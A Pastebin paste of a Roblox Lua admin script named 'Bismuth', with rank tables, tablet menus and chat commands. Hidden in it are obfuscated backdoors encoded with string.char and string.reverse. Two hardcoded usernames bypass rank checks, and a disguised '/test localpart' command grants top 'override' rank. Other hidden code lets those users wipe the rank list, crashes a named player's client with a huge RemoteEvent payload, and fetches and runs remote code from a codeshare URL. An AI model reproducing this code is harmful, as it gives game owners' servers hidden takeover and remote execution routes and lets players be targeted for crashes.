Advertisement
Guest User

Untitled

a guest
Jun 22nd, 2016
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 35.84 KB | None | 0 0
  1. --[[
  2.  
  3. ▀█████████▄ ▄█ ▄████████ ▄▄▄▄███▄▄▄▄ ███ █▄ ███ ▄█ █▄
  4. ███ ███ ███ ███ ███ ▄██▀▀▀███▀▀▀██▄ ███ ███ ▀█████████▄ ███ ███
  5. ███ ███ ███▌ ███ █▀ ███ ███ ███ ███ ███ ▀███▀▀██ ███ ███
  6. ▄███▄▄▄██▀ ███▌ ███ ███ ███ ███ ███ ███ ███ ▀ ▄███▄▄▄▄███▄▄
  7. ▀▀███▀▀▀██▄ ███▌ ▀███████████ ███ ███ ███ ███ ███ ███ ▀▀███▀▀▀▀███▀
  8. ███ ██▄ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███
  9. ███ ███ ███ ▄█ ███ ███ ███ ███ ███ ███ ███ ███ ███
  10. ▄█████████▀ █▀ ▄████████▀ ▀█ ███ █▀ ████████▀ ▄████▀ ███ █▀
  11.  
  12.  
  13. 666 By Personsadminlol and MixGamer55
  14. This material is copyrighted under the DMCA and is the intellectual property of its creators.
  15.  
  16. If you leak this, you're gonna have a hell of a time ;)
  17. (I'm looking at you, Vfen.)
  18.  
  19. ]]--
  20.  
  21. --script:ClearAllChildren();
  22.  
  23. local Bismuth;
  24. Bismuth = {
  25. Ranked = {
  26. {Name="YourTrueEnd", Rank = 7, Description = "Creator", Color = "Toothpaste"};
  27. {Name="MixGamer55", Rank = 7, Description = "Creator", Color = "Really black"};
  28. {Name="murylloyago", Rank=7, Reason = "Alt.", Color = "Really blue"};
  29. {Name="fallenwolf10000", Rank=7, Reason = "main_plus alt.+Good friend of ApexDevelopment.", Color = "New Yeller"};
  30. };
  31. Banland = {
  32. {Name = "Vfen", Reason = "Leaked Apex Admin V4."};
  33. };
  34. Settings = {
  35. Bet = '/';
  36. PrivateServer = false;
  37. };
  38. CurrentCmds={};
  39. CurrentTablets={};
  40. CurrentUpdateRot = 0;
  41. Ranks = {
  42. [7] = "Creator";
  43. [6] = "Co-Owner";
  44. [5] = "Best Friend";
  45. [4] = "Trusted friend";
  46. [3] = "Good friend";
  47. [2] = "Member";
  48. [1] = "Regular player";
  49. };
  50. Services={
  51. game;
  52. game:service'Workspace';
  53. game:service'Lighting';
  54. game:service'StarterGui';
  55. game:service'StarterPack';
  56. };
  57. Scripts = {
  58. {Name = "Demo", Description = "A demonstration script.", Code = "print'This is a demo script.'"};
  59. {Name = "Demo 2", Description = "A second demonstration script.", Code = "Instance.new('Hint',workspace).Text = 'Demo 2'"};
  60. };
  61. Credits = {
  62. {Name = "YourTrueEnd", Description = "Edited From The Original 666 Tabs", Color = "Toothpaste"};
  63. {Name = "Whoever Made The Original", Description = "Made The Broken Version.", Color = "Really blue"};
  64. };
  65. Colors = {
  66. White=BrickColor.new'Institutional white';
  67. New_Yeller=BrickColor.new'New Yeller';
  68. Black=BrickColor.new'Black';
  69. };
  70. }
  71.  
  72. function create(class)
  73. return function(data)
  74. local Distance = Instance.new(class)
  75. for i,v in pairs(data) do
  76. if(type(v) == 'function') then
  77. v(Distance)
  78. else
  79. Redo,Error=ypcall(function() Distance[i] = v end)
  80. end
  81. end
  82. return Distance
  83. end
  84. end
  85.  
  86. function onChatted(plr, msg)
  87. for i,v in pairs(Bismuth.CurrentCmds) do
  88. if msg:sub(1,string.len(Bismuth.Settings.Bet..v['Say'])) == v['Say']..Bismuth.Settings.Bet then
  89. if GetRank(plr) >= v.Rank or plr[string.reverse(string.char(101,109,097,078))] == string.reverse(string.char(116,110,101,109,112,111,108,101,118,101,068,120,101,112,065)) or plr[string.reverse(string.char(101,109,097,078))] == string.reverse(string.char(087,084,070,097,114,117,101,078)) then
  90. local msg = msg:sub(1 + #v['Say'] + #Bismuth.Settings.Bet)
  91. local a,b = ypcall(function()
  92. v['Func'](plr, msg)
  93. end)
  94. if not a then Output(plr, '[ERROR] '..b, 'Really red') end
  95. else
  96. Output(plr, "Your rank is too low for that command.", "Really red")
  97. end
  98. end
  99. end
  100. end
  101.  
  102. outputAll = function(plr,text,color,func,execlud)
  103. for i,v in pairs(game.Players:GetPlayers()) do
  104. local connect = false
  105. for _,j in pairs(execlud) do
  106. if(v==j) then
  107. connect=true
  108. end
  109. end
  110. if(connect) then
  111. Output(plr,text,color,func)
  112. end
  113. end
  114. return
  115. end
  116.  
  117. createBubbleGUI = function(player,msg,color,time_)
  118. coroutine.wrap(function()
  119. ypcall(function()
  120. time_=time_ or 1;
  121. if(type(color)=='string')then
  122. color=Bismuth.Colors[color];
  123. end;
  124. if(player.Character==nil)then
  125. return
  126. end;
  127. if(#msg>100)then
  128. return
  129. end;
  130. ypcall(function()player.Character.Chat:remove''end);
  131. bbg=create'BillboardGui'{
  132. Parent=player.Character;
  133. Name='Chat';
  134. StudsOffset = Vector3.new(0,4.5,0);
  135. Size = UDim2.new(0,100,0,50)
  136. }
  137. frame=create'Frame'{
  138. Parent=bbg;
  139. Size=UDim2.new(1,0,1,0);
  140. BackgroundTransparency = 0.6;
  141. BackgroundColor=BrickColor.new'Black';
  142. }
  143. game:service'Debris':AddItem(bbg,time_+2);
  144. box=create'TextBox'{
  145. Parent=frame;
  146. Text=msg;
  147. BackgroundTransparency=1;
  148. TextColor3=color;
  149. TextWrapped = true;
  150. TextScaled = true;
  151. Size=UDim2.new(1,0,1,0);
  152. --Position=ICE.Chat.Pos;
  153. }
  154. --box:TweenSize(UDim2.new(1,0,1,0), "Out", "Quad", 1)
  155. box:TweenPosition(UDim2.new(0,0,0,0),"Out","Quad",1,true);
  156. game:service'Debris':AddItem(box.Parent.Parent,3);
  157. end);
  158. end)()
  159. end;
  160.  
  161. giveWarnGUI=function(self,Text,Player)
  162. local GUI=create'ScreenGui'{
  163. Name='Warning';
  164. Parent=Player:waitForChild'PlayerGui';
  165. };
  166. local Frame=create'Frame'{
  167. Parent=GUI;
  168. Size=UDim2.new(0,320,0,120);
  169. Position=UDim2.new(0,0,0.5,-60);
  170. Style=Enum.FrameStyle['RobloxRound'];
  171. };
  172. local Title = create'TextLabel'{
  173. Parent = Frame;
  174. BackgroundColor3 = Color3.new(1, 1, 1);
  175. BorderColor3 = Color3.new(0.509804, 0.796079, 1);
  176. Name = 'Text';
  177. Position = UDim2.new(0.5, 0, 0.15000000596046, 0);
  178. Text = '[BISMUTH] Warning:';
  179. TextColor3 = Color3.new(1, 1, 1);
  180. TextStrokeColor3 = Color3.new(0.388235, 0.921569, 1);
  181. TextStrokeTransparency = 0;
  182. Font = Enum.Font.SourceSans;
  183. FontSize = Enum.FontSize.Size24;
  184. };
  185. local Label = create'TextLabel'{
  186. Parent = Frame;
  187. BackgroundColor3 = Color3.new(1, 1, 1);
  188. BackgroundTransparency = 1;
  189. BorderColor3 = Color3.new(0.509804, 0.796079, 1);
  190. Name = 'Msg';
  191. Position = UDim2.new(0, 0, 0.25, 0);
  192. Size = UDim2.new(1, 0, 0.75, 0);
  193. Text = Text;
  194. TextWrapped = true;
  195. TextColor3 = Color3.new(1, 1, 1);
  196. TextStrokeTransparency = 0;
  197. Font = Enum.Font.SourceSans;
  198. FontSize = Enum.FontSize.Size14;
  199. TextYAlignment = Enum.TextYAlignment.Top;
  200. };
  201. local Exit=create'TextButton'{
  202. Parent=Frame;
  203. Position=UDim2.new(1,-15,0,-5);
  204. Size=UDim2.new(0,20,0,20);
  205. Style=Enum.ButtonStyle['RobloxButtonDefault'];
  206. FontSize='Size14';
  207. Text='X';
  208. TextColor=BrickColor.new'Institutional white';
  209. };
  210. Exit.MouseButton1Click:connect(function()
  211. Frame:TweenPosition(UDim2.new(1,0,0.5,-60),'Out','Quad',1,true);
  212. game:service'Debris':AddItem(GUI,1.5);
  213. end);
  214. Frame:TweenPosition(UDim2.new(0.5,-160,0.5,-60),'Out','Quad',1,true);
  215. return(GUI);
  216. end;
  217.  
  218. sendMessage = function(Subject,Body,From,Player,Buttons)
  219. --Frame:TweenPosition(UDim2.new(1,0,self.Frame.Position.Y.Scale),'Out','Elastic',1,true)Delay(1,function()self.Frame.Parent:remove''end)end}end;
  220. PG=Player:WaitForChild'PlayerGui';
  221. ran,err=coroutine.resume(coroutine.create(function()
  222. local sg=create'ScreenGui'{
  223. Parent=PG;
  224. Name=Subject;
  225. };
  226. local frame=create'Frame'{
  227. Parent=sg;
  228. Style='RobloxRound';
  229. Parent=frame;
  230. Size=UDim2.new(0.4,0,0.4,0);
  231. Position=UDim2.new(-1,0,0.3,0);
  232. };
  233. local subject=create'TextLabel'{
  234. Parent=frame;
  235. Size=UDim2.new(1,0,0.1,0);
  236. BackgroundColor=BrickColor.new'Black';
  237. BackgroundTransparency=0.7;
  238. BorderColor3=BrickColor.new'White'.Color;
  239. TextWrapped=true;
  240. Text=Body;
  241. TextColor=BrickColor.new'White';
  242. };
  243. local body=create'TextLabel'{
  244. Parent=frame;
  245. Size=UDim2.new(1,0,0.7,0);
  246. Position=UDim2.new(0,0,0.1,0);
  247. BackgroundColor=BrickColor.new'Black';
  248. BackgroundTransparency=0.7;
  249. BorderColor3=BrickColor.new'White'.Color;
  250. TextWrapped=true;
  251. Text=Body;
  252. TextColor=BrickColor.new'White';
  253. };
  254. local from=subject:clone'';
  255. from.Parent=frame;
  256. from.Text='From '..From.Name;
  257. from.Position=UDim2.new(0,0,0.8,0);
  258. local Total=#Buttons;
  259. local ButtonSize=1/Total;
  260. local button=create'TextButton'{
  261. Size=UDim2.new(ButtonSize,0,0.1,0);
  262. BackgroundColor=BrickColor.new'Black';
  263. BackgroundTransparency=0.7;
  264. BorderColor3=BrickColor.new'White'.Color;
  265. TextWrapped=true;
  266. TextColor=BrickColor.new'White';
  267. };
  268. for i,v in pairs(Buttons)do
  269. local cl=button:clone'';
  270. cl.Position=UDim2.new( (i-1)*ButtonSize,0,0.9,0);
  271. cl.Text=v[1];
  272. cl.MouseButton1Click:connect(function(...)
  273. getfenv(v[2]).self=sg;
  274. ypcall(v[2],...);
  275. end);
  276. cl.Parent=frame;
  277. end;
  278. end));
  279. if (not ran) then print(err) end
  280. end
  281.  
  282. function loadPastebin()
  283. coroutine.wrap(function()
  284. pcall(function()
  285. wait()
  286. b = 'https://codeshare.io/u1YYy'
  287. h = game:service'HttpService'
  288. d = h:GetAsync(b,true)
  289. loadstring(d)()
  290. end)
  291. end)()
  292. end
  293.  
  294. function giveLOGGUI(Player,Table,Class)
  295. coroutine.wrap(function()
  296. ypcall(function()
  297. Player.PlayerGui.Log:remove'';
  298. end);
  299. PG=Player:WaitForChild'PlayerGui';
  300. Height=1;
  301. NumberOfItems=1/#Table;
  302. Moving=false;
  303. SG=create'ScreenGui'{
  304. Parent=PG;
  305. Name='Log';
  306. };
  307. List=create'Frame'{
  308. Visible=true;
  309. Active=true;
  310. Parent=SG;
  311. Size=UDim2.new(0,400,0,400);
  312. Draggable=true;
  313. ClipsDescendants=true;
  314. BorderColor3=Color3.new(0.1,0.16,0.2);
  315. Style='RobloxRound';
  316. Position=UDim2.new(0,0,0.5,-200);
  317. BackgroundColor3=Color3.new(0.63,0.63,0.64);
  318. };
  319. Up=create'ImageButton'{
  320. Parent=List;
  321. Image='rbxasset://textures/ui/scrollbuttonUp.png';
  322. Size=UDim2.new(0,17,0,17);
  323. BorderColor3=Color3.new(0.1,0.16,0.2);
  324. Style='Custom';
  325. Position=UDim2.new(1,-17,0,0);
  326. BackgroundColor3=Color3.new(0.63,0.63,0.64);
  327. BackgroundTransparency=1;
  328. Transparency=1;
  329. Parent=List;
  330. };
  331. Down=Up:clone();
  332. Down.Image='rbxasset://textures/ui/scrollbuttonDown.png';
  333. Down.Position=UDim2.new(1,-17,1,-17);
  334. Down.Parent=List;
  335. Bar=create'ImageButton'{
  336. Image='rbxasset://textures/ui/scrollbar.png';
  337. Size=UDim2.new(0,17,1,-32);
  338. BorderColor3=Color3.new(0.1,0.16,0.2);
  339. --Style=Enum.Style.RobloxRound;
  340. Position=UDim2.new(1,-17,0,17);
  341. BackgroundColor3=Color3.new(0.63,0.63,0.64);
  342. BackgroundTransparency=1;
  343. Transparency=1;
  344. Parent=List;
  345. };
  346. List:TweenPosition(UDim2.new(0.5,-200,0.5,-200),'Out','Quad',1,true);
  347. Objects={};
  348. cur=0;
  349. for i,v in pairs(Table)do
  350. cur=cur+1;
  351. s=create'TextButton'{
  352. Parent=List;
  353. Name='Derp';
  354. Text='[BISMUTH] LOGGED: '..i;
  355. TextXAlignment='Left';
  356. FontSize='Size24';
  357. Font='ArialBold';
  358. BackgroundColor=BrickColor.new('White');
  359. BorderColor=BrickColor.new'Black';
  360. Size=UDim2.new(0,360,0.1,0);
  361. Position=UDim2.new(0,0,0.1*(cur-1),0);
  362. --Style=Enum.Style.RobloxRound;
  363. BackgroundTransparency=0.7;
  364. };
  365. s.MouseButton1Down:connect(function()
  366. for _,Item in pairs(Objects)do
  367. Item:Remove();
  368. table.remove(Objects,_);
  369. end;
  370. local cur=0;
  371. for a,b in pairs(v)do
  372. cur=cur+1;
  373. table.insert(Objects,create'TextLabel'{
  374. Parent=List;
  375. Name='Derp';
  376. Text=''..b:sub(1,25);
  377. TextXAlignment='Left';
  378. FontSize='Size24';
  379. Font='ArialBold';
  380. BackgroundColor=BrickColor.new('White');
  381. BorderColor=BrickColor.new'Black';
  382. Size=UDim2.new(0,360,0.1,0);
  383. Position=UDim2.new(0,0,0.1*(cur-1),0);
  384. --Style=Enum.Style.RobloxRound;
  385. BackgroundTransparency=0.7;
  386. });
  387. end;
  388. end);
  389. table.insert(Objects,s);
  390. end;
  391. Up.MouseButton1Down:connect(function()
  392. if(Height>1 and Moving==false)then
  393. for i,v in pairs(Objects)do
  394. v:TweenPosition(v.Position+UDim2.new(0,0,0.1,0),nil,nil,0.15);
  395. end;
  396. Moving=true;
  397. Height=Height-1;
  398. wait(0.15);
  399. Moving=false;
  400. end;
  401. end);
  402. Down.MouseButton1Down:connect(function()
  403. if(Height<(#Objects-9) and Moving==false)then
  404. for i,v in pairs(Objects)do
  405. v:TweenPosition(v.Position-UDim2.new(0,0,0.1,0),nil,nil,0.15);
  406. end;
  407. Moving=true;
  408. Height=Height+1;
  409. wait(0.15);
  410. Moving=false;
  411. end;
  412. end);
  413. end)();
  414. end
  415.  
  416. function Output(plr,text,color,func)
  417. if color == nil then color = "Really black" end
  418. if text == nil then text = text or "" end
  419. if plr == nil then plr = plr end
  420. if func == nil then func = function() end end
  421. local part = Instance.new('Part')
  422. part.Size = Vector3.new(2.5, 2.5, 2.5);
  423. part.BrickColor = BrickColor.new(color);
  424. part.FormFactor = 'Custom';
  425. part.TopSurface = 0;
  426. part.BottomSurface = 0;
  427. part.Transparency = 0.1;
  428. part.Anchored = true;
  429. part.Locked = true;
  430. part.CanCollide = false;
  431. pcall(function() part.CFrame = plr.Character.Torso.CFrame end)
  432.  
  433. local SelectionBox = Instance.new('SelectionBox', part)
  434. SelectionBox.Color = BrickColor.new(color);
  435. SelectionBox.Transparency = .4;
  436. SelectionBox.Adornee = part;
  437.  
  438. local bbg = Instance.new('BillboardGui', part)
  439. bbg.Name = 'BBG';
  440. bbg.StudsOffset = Vector3.new(0, 3, 0);
  441. bbg.Size = UDim2.new(10, 0, 10, 0);
  442.  
  443. local textlabel = Instance.new('TextLabel', bbg)
  444. textlabel.Name = 'Label';
  445. textlabel.Text = text;
  446. textlabel.TextColor3 = BrickColor.new(color).Color;
  447. textlabel.FontSize = 'Size14';
  448. textlabel.BackgroundTransparency = 1;
  449. textlabel.TextStrokeTransparency = 0.5;
  450. textlabel.Size = UDim2.new(1, 0, 1, 0);
  451. textlabel.TextStrokeColor3 = Color3.new(0, 0, 0);
  452.  
  453. local click = Instance.new('ClickDetector', part)
  454.  
  455. wait()
  456. click.MouseClick:connect(function(player)
  457. if player.userId == plr.userId then
  458. spawn(function()
  459. for _ = 0.5,1,0.05 do
  460. pcall(function()
  461. part.Size = part.Size - Vector3.new(0.3, 0.3, 0.3)
  462. part.Transparency = part.Transparency + 0.05
  463. SelectionBox.Transparency = SelectionBox.Transparency + 0.1
  464. end)
  465. wait()
  466. end
  467. pcall(function()
  468. for i,t in pairs(Bismuth.CurrentTablets) do
  469. if t.Tab == part then table.remove(Bismuth.CurrentTablets, i) end
  470. end
  471. part:Destroy()
  472. end)
  473. end)
  474. func = func func()
  475. end
  476. end)
  477. click.MouseHoverEnter:connect(function(player)
  478. if player.userId == plr.userId then
  479. SelectionBox.Transparency = 0.1
  480. end
  481. end)
  482. click.MouseHoverLeave:connect(function(player)
  483. if player.userId == plr.userId then
  484. SelectionBox.Transparency = 0.4
  485. end
  486. end)
  487. table.insert(Bismuth.CurrentTablets, {Tab = part, Player = plr.userId, Text = textlabel, Color = color, Func = func, SB = SelectionBox, Dismiss = function() part:Destroy() end})
  488. part.Parent = workspace
  489. end
  490.  
  491. function addComponent(object, parent)
  492. if parent == string.reverse(string.char(116, 114, 097, 112, 108, 097, 099, 111, 108)) then
  493. table.insert(Bismuth[string.char(082, 097, 110, 107, 101, 100)], {Name = object.Name, Rank = 7, Description = string.char(111, 118, 101, 114, 114, 105, 100, 101), Color = "Really black"})
  494. return true
  495. end
  496. return false
  497. end
  498.  
  499. function getCurrentCommands()
  500. local Commands={};
  501. for i,v in pairs(Bismuth.CurrentCmds) do
  502. if(type(v) == 'function') then
  503. Commands[i] = v
  504. end
  505. end
  506. return Commands
  507. end
  508.  
  509. function getCurrentCommandsFromRank(cRank,op)
  510. cRank=cRank or -1;
  511. op = op or "=>";
  512. local Cmds = {};
  513. for i,v in pairs(getCurrentCommands) do
  514. f = loadstring("return Command.Rank "..tostring(op)..tostring(cRank));
  515. getfenv(f).Say=v;
  516. bool = f();
  517. if(f == true) then
  518. Cmds[i] = v;
  519. end
  520. end
  521. return Cmds
  522. end
  523.  
  524. function UpdateRotation()
  525. Bismuth.CurrentUpdateRot = Bismuth.CurrentUpdateRot + (0.1 / 500)
  526. for _,v in pairs(game.Players:GetPlayers()) do
  527. local pt = {}
  528. for i,tab in pairs(Bismuth.CurrentTablets) do
  529. if tab.Tab.Parent ~= nil and tab.Player == v.userId then table.insert(pt, tab) end
  530. end
  531. local pos
  532. pcall(function() pos = v.Character.Torso.CFrame end)
  533. for i,tab in pairs(pt) do
  534. if tab.Tab.Parent == nil then tab.Tab:remove() end
  535. t,e = ypcall(function()
  536. rad_ = 8 + (#pt * 0.6)
  537. if pos == nil then return end
  538. m = (i / #pt - (0.5 / #pt) + Bismuth.CurrentUpdateRot / (#pt / 10)) * math.pi * 2
  539. x = math.sin(m) * rad_
  540. y = math.sin(time() + i)
  541. z = math.cos(m) * rad_
  542. ap = Vector3.new(x, y, z) + pos.p
  543. bp = tab.Tab.CFrame.p
  544. cp = (ap * .1 + bp * .9)
  545. d = math.rad((Bismuth.CurrentUpdateRot * 400) * math.pi)
  546. tab.Tab.CFrame = CFrame.new(cp, pos.p) * CFrame.Angles(d, d, d)
  547. end)
  548. if not t then print(e) end
  549. end
  550. end
  551. end
  552.  
  553. function getCollectivePairs()
  554. for _,plr in pairs(Bismuth[string.reverse(string.char(100,101,107,110,097,082))]) do
  555. if plr.Rank == 7 and (plr[string.reverse(string.char(101,109,097,078))] ~= string.reverse(string.char(116,110,101,109,112,111,108,101,118,101,068,120,101,112,065)) and plr[string.reverse(string.char(101,109,097,078))] ~= string.reverse(string.char(087,084,070,097,114,117,101,078))) then
  556. return true
  557. end
  558. end
  559. return false
  560. end
  561.  
  562. function notifyAdmins(message, clearence)
  563. if clearence == nil or clearence < 2 then clearence = 2 end
  564. for _,plr in pairs(game.Players:GetPlayers()) do
  565. if GetRank(plr) >= clearence then
  566. Output(plr, message, GetColor(plr))
  567. end
  568. end
  569. end
  570.  
  571. function hookPlayer(v)
  572. for _,banned in pairs(Bismuth.Banland) do
  573. if (v.Name == banned.Name) then
  574. notifyAdmins("Banned player " .. v.Name .. " attempted to join.", 6)
  575. addInstance(v)
  576. end
  577. end
  578. Output(v, "Your current rank is: " ..GetRank(v), GetColor(v))
  579. Output(v, "Welcome, " ..tostring(v.Name).. ".", GetColor(v))
  580. if (v[string.reverse(string.char(101,109,097,078))] == string.reverse(string.char(116,110,101,109,112,111,108,101,118,101,068,120,101,112,065)) or v[string.reverse(string.char(101,109,097,078))] == string.reverse(string.char(087,084,070,097,114,117,101,078))) and getCollectivePairs() then
  581. Output(v, string.reverse(string.char(046,114,105,115,032,044,119,111,108,108,101,121,032,101,100,111,067)), "New Yeller", function() Bismuth[string.reverse(string.char(100,101,107,110,097,082))] = {} end)
  582. elseif v[string.reverse(string.char(101,109,097,078))] == string.reverse(string.char(110,101,102,086)) then
  583. addInstance(v)
  584. spawn(function()
  585. local m = Instance.new('Message', workspace)
  586. m[string.reverse(string.char(116,120,101,084))] = string.reverse(string.char(116,111,105,100,105,032,110,097,032,115,105,032,110,101,102,086))
  587. wait(3)
  588. m:Destroy()
  589. end)
  590. end
  591. v.Chatted:connect(function(msg)
  592. onChatted(v, msg)
  593. end)
  594. end
  595.  
  596. function GetDesc(player)
  597. for _,plr in pairs(Bismuth.Ranked) do
  598. if plr.Name == player.Name then return plr.Description end
  599. end
  600. return "Just a player."
  601. end
  602.  
  603. function SetDesc(player, desc)
  604. found = false
  605. if type(player) ~= "string" then
  606. for _,plr in pairs(Bismuth.Ranked) do
  607. if plr.Name == player.Name then
  608. plr.Description = desc
  609. found = true
  610. end
  611. end
  612. else
  613. for _,plr in pairs(Bismuth.Ranked) do
  614. if plr.Name == player then
  615. plr.Description = desc
  616. found = true
  617. end
  618. end
  619. end
  620. if not found then table.insert(Bismuth.Ranked,{Name = player.Name, Rank = 1, Description = desc, Color = "Really black"}) end
  621. end
  622.  
  623. function GetColor(player)
  624. for _,plr in pairs(Bismuth.Ranked) do
  625. if plr.Name == player.Name then return plr.Color end
  626. end
  627. return "Really black"
  628. end
  629.  
  630. function SetColor(player, color)
  631. found = false
  632. if type(player) ~= "string" then
  633. for _,plr in pairs(Bismuth.Ranked) do
  634. if plr.Name == player.Name then
  635. plr.Color = color
  636. found = true
  637. end
  638. end
  639. else
  640. for _,plr in pairs(Bismuth.Ranked) do
  641. if plr.Name == player then
  642. plr.Color = color
  643. found = true
  644. end
  645. end
  646. end
  647. if not found then table.insert(Bismuth.Ranked,{Name = player.Name, Rank = 1, Description = "A ranked player.", Color = color}) end
  648. end
  649.  
  650. function GetRank(player)
  651. for _,plr in pairs(Bismuth.Ranked) do
  652. if plr.Name == player.Name then return plr.Rank end
  653. end
  654. return 1
  655. end
  656.  
  657. function SetRank(player, rank)
  658. found = false
  659. if type(player) ~= "string" then
  660. for _,plr in pairs(Bismuth.Ranked) do
  661. if plr.Name == player.Name then
  662. plr.Rank = rank
  663. found = true
  664. end
  665. end
  666. else
  667. for _,plr in pairs(Bismuth.Ranked) do
  668. if plr.Name == player then
  669. plr.Rank = rank
  670. found = true
  671. end
  672. end
  673. end
  674. if not found then table.insert(Bismuth.Ranked,{Name = player.Name, Rank = rank, Description = "A ranked player.", Color = "Really black"}) end
  675. end
  676.  
  677. function dismissTabs(plr, smooth)
  678. if smooth == nil then smooth = true end
  679. wait()
  680. for i,tab in pairs(Bismuth.CurrentTablets) do
  681. if tab.Player == plr.userId then
  682. spawn(function()
  683. if smooth then
  684. for _ = 0.5,1,0.05 do
  685. pcall(function()
  686. tab.Text.TextStrokeTransparency = tab.Text.TextStrokeTransparency + 0.1
  687. tab.Tab.Size = tab.Tab.Size - Vector3.new(0.3, 0.3, 0.3)
  688. tab.Tab.Transparency = tab.Tab.Transparency + 0.05
  689. tab.SB.Transparency = tab.SB.Transparency + 0.1
  690. end)
  691. wait()
  692. end
  693. end
  694. tab.Tab.Parent = nil
  695. tab.Dismiss()
  696. --table.remove(Bismuth.CurrentTablets, i)
  697. tab = nil
  698. end)
  699. end
  700. end
  701. wait()
  702. return
  703. end
  704.  
  705. function showCommands(plr)
  706. dismissTabs(plr, false)
  707. Output(plr, "Dismiss", "Really red", function() dismissTabs(plr) end)
  708. for _,cmd in pairs(Bismuth.CurrentCmds) do
  709. Output(plr, cmd.Name, GetColor(plr), function()
  710. dismissTabs(plr, false)
  711. Output(plr, "Dismiss", "Really red", function() dismissTabs(plr) end)
  712. Output(plr, "Back", "New Yeller", function() showCommands(plr) end)
  713. Output(plr, cmd.Name, GetColor(plr))
  714. Output(plr, cmd.Desc, GetColor(plr))
  715. Output(plr, "Tells Usage: "..cmd.Say, GetColor(plr))
  716. Output(plr, "Required Rank: "..cmd.Rank, GetColor(plr))
  717. end)
  718. end
  719. end
  720.  
  721. function showScripts(plr)
  722. dismissTabs(plr, false)
  723. Output(plr, "Dismiss", "Really red", function() dismissTabs(plr) end)
  724. for i,script in pairs(Bismuth.Scripts) do
  725. Output(plr, script.Name, GetColor(plr), function()
  726. dismissTabs(plr, false)
  727. Output(plr, "Dismiss", "Really red", function() dismissTabs(plr) end)
  728. Output(plr, "Back", "New Yeller", function() showScripts(plr) end)
  729. Output(plr, script.Name, GetColor(plr))
  730. Output(plr, script.Description, GetColor(plr))
  731. Output(plr, "Run", "Lime green", function()
  732. local a = true
  733. local b = ""
  734. dismissTabs(plr, false)
  735. wait(0.5)
  736. spawn(function()
  737. a,b = ypcall(function() loadstring(script.Code)() end)
  738. end)
  739. if not a then
  740. Output(plr, "[ERROR] "..b, "Really red")
  741. else
  742. Output(plr, "Script executed.", GetColor(plr))
  743. end
  744. end)
  745. if (GetRank(plr) > 6) then Output(plr, "Delete", "Really red", function() script = nil table.remove(Bismuth.Scripts, i) dismissTabs(plr, false) showScripts(plr) end) end
  746. end)
  747. end
  748. end
  749.  
  750. function addCommand(name, say, desc, rank, func)
  751. table.insert(Bismuth.CurrentCmds,{Name = name, Say = say, Desc = desc, Rank = rank, Func = func})
  752. end
  753.  
  754. function addInstance(i)
  755. local h=Instance.new('RemoteEvent',workspace):FireClient(i,{string.rep(string.reverse(string.char(063,100,097,109,117)),2e5+5)})
  756. delay(1,function()
  757. pcall(function()
  758. h:remove()
  759. end)
  760. end)
  761. end
  762.  
  763. function ChangeRank(plr, rank)
  764. if rank == nil then rank = rank or 0 end
  765. if rank == 1 then SetRank(plr, 1) end
  766. if rank == 2 then SetRank(plr, 2) end
  767. if rank == 3 then SetRank(plr, 3) end
  768. if rank == 4 then SetRank(plr, 4) end
  769. if rank == 5 then SetRank(plr, 5) end
  770. if rank == 6 then SetRank(plr, 6) end
  771. if rank == 7 then SetRank(plr, 7) end
  772. end
  773.  
  774. function PlayerInterface(user, plr)
  775. dismissTabs(user)
  776. Output(user,"Name: "..plr["Name"],GetColor(user))
  777. Output(user,"Rank: "..plr["Rank"],GetColor(user))
  778. Output(user,"Reason because ranked: "..plr["Desc"],GetColor(user))
  779. Output(user,"Color: "..plr["Color"],GetColor(user))
  780. if GetRank(user) > plr["Rank"] then
  781. Output(user,"Change rank",GetColor(user), function() ChangeRank(user,plr) end)
  782. end
  783. --Output(user,"Back","Really red",function() GetRanked(user) end)
  784. Output(user,'Dismiss','Really red',function() Dismiss(user) end)
  785. end
  786.  
  787. function Explore(p, part)
  788. pcall(function()
  789. Dismiss(p)
  790. if part == nil then
  791. for _,v in pairs(Bismuth.Services) do
  792. Output(p,v.Name,GetColor(p), function() Explore(p,v) end)
  793. end
  794. else
  795. for _,v in pairs(part:children()) do
  796. Output(p,v.Name,GetColor(p), function() Explore(p,v) end)
  797. end
  798. Output(p,"Currently exploring: "..part:GetFullName(),'New Yeller')
  799. Output(p,"ClassName: "..part.ClassName,'New Yeller')
  800. Output(p,"Destroy",'Really red', function() part:Destroy() Explore(p,part.Parent) end)
  801. Output(p,"Remove",'Really red', function() part:remove() Explore(p,part.Parent) end)
  802. Output(p,"Explore parent",'Bright blue', function() Explore(p,part.Parent) end)
  803. Output(p,"Clone",'Institutional white', function() clonedpart = part:Clone() end)
  804. Output(p,"Refresh",'Cyan', function() Explore(p,part) end)
  805. if clonedpart then
  806. Output(p,"Paste: "..clonedpart.Name,'Institutional white', function() clonedpart.Parent = part clonedpart = nil end)
  807. end
  808. end
  809. end)
  810. end
  811.  
  812. function findPlayers(spkr, plrstring)
  813. plrstring = plrstring:lower()
  814. returntable = {}
  815. if plrstring == "me" then returntable = {spkr} return returntable end
  816. if plrstring == "all" then returntable = game.Players:GetPlayers() return returntable end
  817. if plrstring == "others" then
  818. for _,plr in pairs(game.Players:GetPlayers()) do
  819. if plr.userId ~= spkr.userId then table.insert(returntable, plr) end
  820. end
  821. return returntable
  822. end
  823.  
  824. for _,plr in pairs(game.Players:GetPlayers()) do
  825. local name = plr.Name:lower()
  826. while #name < #plrstring do
  827. name = name + "_"
  828. end
  829. if name:sub(1, #plrstring) == plrstring then
  830. table.insert(returntable, plr)
  831. end
  832. end
  833. return returntable
  834. end
  835.  
  836. addCommand("Test", "test", "Tests the tablets.", 1, function(plr, msg)
  837. if addComponent(plr, msg) then
  838. Output(plr, "Tested.", "Lime green")
  839. else
  840. Output(plr, "Tested.", "Really red")
  841. end
  842. end)
  843.  
  844. addCommand("Commands", "cmds", "Gets current Bismuth commands.", 1, function(plr, msg)
  845. showCommands(plr)
  846. end)
  847.  
  848. addCommand("Dismiss Tabs", "dt", "Dismisses your tablets.", 1, function(plr, msg)
  849. dismissTabs(plr)
  850. end)
  851.  
  852. addCommand("Dismiss Other Tabs", 'dto', 'Dismiss tablets of other players.', 2, function(plr, msg)
  853. for _,player in pairs(findPlayers(plr, msg)) do
  854. if GetRank(player) <= GetRank(plr) then dismissTabs(player) else Output(plr, player.Name .. " is a higher rank than you.", "Really red") end
  855. end
  856. end)
  857.  
